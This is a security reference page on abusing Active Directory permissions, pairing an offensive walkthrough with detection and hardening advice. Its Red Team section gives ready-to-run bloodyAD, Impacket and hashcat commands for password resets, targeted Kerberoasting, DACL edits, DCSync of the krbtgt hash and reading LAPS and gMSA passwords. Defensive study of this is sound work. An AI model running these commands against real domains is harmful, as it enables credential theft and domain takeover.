Active Directory ACL Abuse
Every Active Directory object (user, group, computer, OU, GPO, the domain itself) carries a security descriptor with a DACL: the list of who can do what to it. If a regular user has one permission too many over another object (resetting its password, adding members to a group, writing an attribute, changing the DACL itself), that permission is a step in an attack path. Chaining several of them gets you to Domain Admin without exploiting any vulnerability: they are all legitimate administrative operations performed by someone who shouldn’t be able to. The invariant that breaks is least privilege in AD delegation.
flowchart LR
U["Compromised user<br/>(support01)"] -->|"ForceChangePassword"| H["helpdesk-admin"]
H -->|"AddMember"| G["IT-Servers group"]
G -->|"GenericAll"| S["SRV-FILE01$"]
G -->|"WriteDacl"| D["Domain object"]
D -->|"DCSync granted"| K["Domain hashes<br/>(krbtgt included)"]
Threat model
Section titled “Threat model”AD DACLs pile up over the years: help desk delegations, installers that grant broad permissions (Exchange is the classic example), provisioning scripts, inheritance from OUs. Nobody reviews them because nothing breaks. With any domain account, the attacker can read every DACL (reading them is a default permission) and look for the shortest path from what they control to what they want. Tools such as BloodHound turn that analysis into a graph.
Anatomy
Section titled “Anatomy”Security descriptor, DACL and ACE
Section titled “Security descriptor, DACL and ACE”A security descriptor contains:
- Owner: the object’s owner. It implicitly has the right to read and modify the DACL,
even if the DACL doesn’t grant it (unless an ACE for
OWNER RIGHTS, S-1-3-4, restricts it). - DACL (Discretionary ACL): a list of ACEs (entries) granting or denying rights to a SID.
- SACL (System ACL): which accesses are audited. No SACL, no events.
Each ACE has a type (allow or deny), a trustee SID, an access mask and, in object ACEs, a GUID
that scopes the right to a specific attribute (servicePrincipalName, member…) or to an extended
right (User-Force-Change-Password, DS-Replication-Get-Changes…). ACEs can be inherited from
the parent container.
Rights that matter
Section titled “Rights that matter”| Right | On | What it allows |
|---|---|---|
GenericAll |
Any object | Full control: everything below |
GenericWrite |
User, computer, group | Writing unprotected attributes: SPN, msDS-KeyCredentialLink, scriptPath, RBCD… |
WriteDacl |
Any object | Editing the DACL: grant yourself whatever you want |
WriteOwner |
Any object | Making yourself the owner and, with that, editing the DACL |
ForceChangePassword |
User | Changing the password without knowing the current one |
AddMember / AddSelf |
Group | Adding members (or yourself) |
WriteSPN |
User, computer | Setting an SPN: targeted Kerberoasting |
AddKeyCredentialLink |
User, computer | Shadow Credentials |
AllExtendedRights |
User, domain | Includes password resets and, on the domain, DCSync |
DS-Replication-Get-Changes + -All |
Domain | DCSync |
ReadLAPSPassword · ReadGMSAPassword |
Computer · gMSA | Reading the local admin password or the managed account password |
AdminSDHolder and adminCount
Section titled “AdminSDHolder and adminCount”Privileged groups and accounts (Domain Admins, Enterprise Admins, Administrators, Account
Operators…) are protected: every 60 minutes the SDProp process on the PDC overwrites their
DACL with that of the CN=AdminSDHolder,CN=System object and sets adminCount=1 on them. Two
consequences:
- A direct DACL change on Domain Admins gets reverted within the hour.
- A permission added on AdminSDHolder spreads to every protected object and stays: a classic persistence technique.
Variants
Section titled “Variants”| You have | Over | Attack | Result |
|---|---|---|---|
ForceChangePassword |
User | Reset their password | Their credentials |
GenericWrite / WriteSPN |
User | Targeted Kerberoasting | Their hash (if the password is weak) |
GenericWrite |
User | Remove pre-authentication | Targeted AS-REP roasting |
GenericWrite / AddKeyCredentialLink |
User or computer | Shadow Credentials | Their TGT and NT hash |
GenericWrite |
Computer | RBCD | Admin access to that computer |
AddMember |
Group | Add yourself | The group’s privileges |
WriteDacl |
Anything | Grant yourself GenericAll (or DCSync on the domain) |
Escalation to the next step |
WriteOwner |
Anything | Become owner → WriteDacl |
Same as WriteDacl |
GenericAll |
OU | Inheritable ACE towards children | Control of the OU’s users and computers |
| DCSync | Domain | Replicate secrets | Every hash, krbtgt included |
ReadLAPSPassword |
Computer | Read the LAPS password | Local admin on that computer |
ReadGMSAPassword |
gMSA | Read msDS-ManagedPassword |
The service account’s hash |
Red Team
Section titled “Red Team”Finding abusable permissions
Section titled “Finding abusable permissions”The BloodHound graph is the fastest way: the edges
(GenericAll, WriteDacl, ForceChangePassword…) come precomputed, inheritance included. From
Linux, without a UI:
# Objects the current account can modifybloodyAD -H dc01.corp.local -d corp.local -u support01 -p 'Passw0rd!' get writable --detail
# DACL of a specific object, filtered by who holds permissionsdacledit.py -action read -target 'helpdesk-admin' -principal 'support01' corp.local/support01:'Passw0rd!'From Windows with PowerView:
# Interesting ACEs whose trustee is not a standard privileged groupFind-InterestingDomainAcl -ResolveGUIDs | ? { $_.IdentityReferenceName -match 'support01|Domain Users' }Get-DomainObjectAcl -Identity helpdesk-admin -ResolveGUIDsForceChangePassword: resetting a password
Section titled “ForceChangePassword: resetting a password”bloodyAD -H dc01.corp.local -d corp.local -u support01 -p 'Passw0rd!' set password helpdesk-admin 'N3wPassw0rd!2026'# alternative with Sambanet rpc password 'helpdesk-admin' 'N3wPassw0rd!2026' -U 'corp.local/support01%Passw0rd!' -S dc01.corp.localGenericWrite over a user: targeted Kerberoasting
Section titled “GenericWrite over a user: targeted Kerberoasting”Set a temporary SPN, request the service ticket, crack it offline and remove the SPN.
targetedKerberoast.py automates it (and cleans up afterwards):
targetedKerberoast.py -v -d corp.local -u support01 -p 'Passw0rd!' --request-user svc-backup -o svc-backup.hashhashcat -m 19700 svc-backup.hash rockyou.txt # AES256; -m 13100 if the ticket comes in RC4With the same permission you can enable DONT_REQ_PREAUTH and AS-REP roast, or write
msDS-KeyCredentialLink (Shadow Credentials), which doesn’t
depend on the password being weak.
bloodyAD -H dc01.corp.local -d corp.local -u support01 -p 'Passw0rd!' add uac -f DONT_REQ_PREAUTH svc-backupAddMember: joining a group
Section titled “AddMember: joining a group”bloodyAD -H dc01.corp.local -d corp.local -u helpdesk-admin -p 'N3wPassw0rd!2026' add groupMember 'IT-Servers' helpdesk-adminMembership applies on the next ticket: request a new TGT (or log off and on) so the token includes the group.
WriteDacl and WriteOwner: granting yourself what’s missing
Section titled “WriteDacl and WriteOwner: granting yourself what’s missing”# With WriteOwner: make yourself the ownerowneredit.py -action write -new-owner 'helpdesk-admin' -target 'IT-Servers' corp.local/helpdesk-admin:'N3wPassw0rd!2026'# As owner (or with WriteDacl): grant yourself full controldacledit.py -action write -rights FullControl -principal 'helpdesk-admin' -target 'IT-Servers' corp.local/helpdesk-admin:'N3wPassw0rd!2026'# On the domain object: grant yourself DCSyncdacledit.py -action write -rights DCSync -principal 'helpdesk-admin' -target-dn 'DC=corp,DC=local' corp.local/helpdesk-admin:'N3wPassw0rd!2026'DCSync
Section titled “DCSync”With DS-Replication-Get-Changes and DS-Replication-Get-Changes-All on the domain, you ask the
DC to replicate secrets to you as if you were another DC:
secretsdump.py -just-dc-user krbtgt corp.local/helpdesk-admin:'N3wPassw0rd!2026'@dc01.corp.localSee credential dumping for the rest of the extraction.
GenericAll or GenericWrite over a computer
Section titled “GenericAll or GenericWrite over a computer”- RBCD: write
msDS-AllowedToActOnBehalfOfOtherIdentityso an account you control can request tickets as any user towards that computer (Kerberos delegation). - Shadow Credentials on the computer account.
- LAPS: with
GenericAllover the computer you can read its local admin password.
nxc ldap dc01.corp.local -u support01 -p 'Passw0rd!' -M laps # readable LAPS passwordsnxc ldap dc01.corp.local -u support01 -p 'Passw0rd!' --gmsa # readable gMSA passwordsPermissions over an OU
Section titled “Permissions over an OU”With GenericAll or WriteDacl over an OU you can add an inheritable ACE that spreads to the
users and computers inside (except those with adminCount=1):
dacledit.py -action write -rights FullControl -principal 'helpdesk-admin' \ -target-dn 'OU=Servers,DC=corp,DC=local' -inheritance corp.local/helpdesk-admin:'N3wPassw0rd!2026'Permissions over a GPO linked to the OU are another route: see GPO abuse.
Cleanup
Section titled “Cleanup”Every step leaves a change in the directory. Record the original state and revert when you
finish: remove the added ACEs (dacledit.py -action remove), memberships, SPNs and UAC flags, and
restore the original owner. Anything you can’t revert (a reset password), document it in the
report.
Researcher workflow
Section titled “Researcher workflow”- Collect the BloodHound graph with the account you control (or
bloodyAD get writable). - Find the shortest path to a valuable target (DA, DCSync, the server that matters).
- Order the steps by noise and reversibility; prefer those that don’t break anything.
- Execute step by step, renewing the ticket after each membership change.
- Show the impact (for example, the
krbtgthash via DCSync) and revert the changes.
- BloodHound / SharpHound / bloodhound-python: permission graph and paths.
- bloodyAD: read and modify objects, DACLs, memberships and UAC from Linux.
- Impacket (
dacledit.py,owneredit.py,secretsdump.py). - targetedKerberoast, pywhisker (Shadow Credentials), NetExec.
- PowerView (
Get-DomainObjectAcl,Add-DomainObjectAcl,Set-DomainUserPassword) on Windows.
Impact and chaining
Section titled “Impact and chaining”ACLs are the glue of nearly every path to Domain Admin: they connect any account with Kerberoasting, Shadow Credentials, RBCD, GPOs and DCSync. A permission on AdminSDHolder or on the domain is also persistence that’s hard to spot.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”Requires SACLs on sensitive objects and Directory Service Changes auditing enabled:
- 5136 (directory object modified): changes to
nTSecurityDescriptor(DACL),member,servicePrincipalName,msDS-KeyCredentialLink,msDS-AllowedToActOnBehalfOfOtherIdentityanduserAccountControl. - 4738 (user changed), 4724 (password reset by another account), 4728/4732/4756 (member added to a global, local or universal group).
- 4662 with the replication GUIDs from an account that isn’t a DC: DCSync.
- An SPN that appears and disappears within minutes on a user account: targeted Kerberoasting.
Telemetry and sources
Section titled “Telemetry and sources”DC security events with properly configured SACLs, Microsoft Defender for Identity and periodic graph reviews with BloodHound (it’s a defensive tool too).
Hardening
Section titled “Hardening”- Audit the DACLs with BloodHound, PingCastle or ADACLScanner and remove ACEs with no owner and no reason. Start with those granted to broad groups (Domain Users, Authenticated Users, Everyone).
- Review AdminSDHolder and the domain object: nobody outside the DCs and the administrative groups should have replication rights.
- Help desk delegations scoped to specific OUs and specific rights (resetting passwords of standard users, not of administrative accounts).
- Tiering model: no lower-tier object with control over a higher-tier one.
- Clean
adminCount=1from accounts that are no longer privileged and re-enable their inheritance. - Installers (Exchange and the like): review the permissions they grant on the domain.
Response
Section titled “Response”Revert the added ACEs and memberships, rotate the credentials of the affected accounts, and if
there was a DCSync treat it as a full domain compromise (rotate krbtgt twice and the rest of the
privileged secrets).
CVEs and real cases
Section titled “CVEs and real cases”- “An ACE Up the Sleeve: Designing Active Directory DACL Backdoors” (Black Hat USA 2017): Andy Robbins and Will Schroeder (SpecterOps) showed how to design backdoors with AD DACLs; together with their work that year on ACL-based attack paths, it’s at the origin of BloodHound’s ACL edges.
- PrivExchange (2019, CVE-2019-0686 and CVE-2019-0724): in default Exchange installs, the
Exchange Windows Permissions group had
WriteDaclover the domain object. Combined with an NTLM relay from the Exchange server, any account with a mailbox reached DCSync. Microsoft reduced those permissions in the February 2019 updates. - ACLs inherited from help desk delegations and provisioning tools are among the most frequent findings in AD assessments.
More cases on NVD (https://nvd.nist.gov/vuln/search) and in BloodHound’s edge documentation.
Testing checklist
Section titled “Testing checklist”- BloodHound graph collected with the initial account.
- Effective permissions of the account’s groups (including Domain Users and Authenticated Users).
- Paths with
GenericAll,GenericWrite,WriteDacl,WriteOwner,ForceChangePassword,AddMember. - Replication rights (DCSync) outside the DCs.
- LAPS and gMSA readable by those who shouldn’t.
- Permissions over OUs, GPOs and AdminSDHolder.
- Steps executed lowest-impact first and reverted at the end.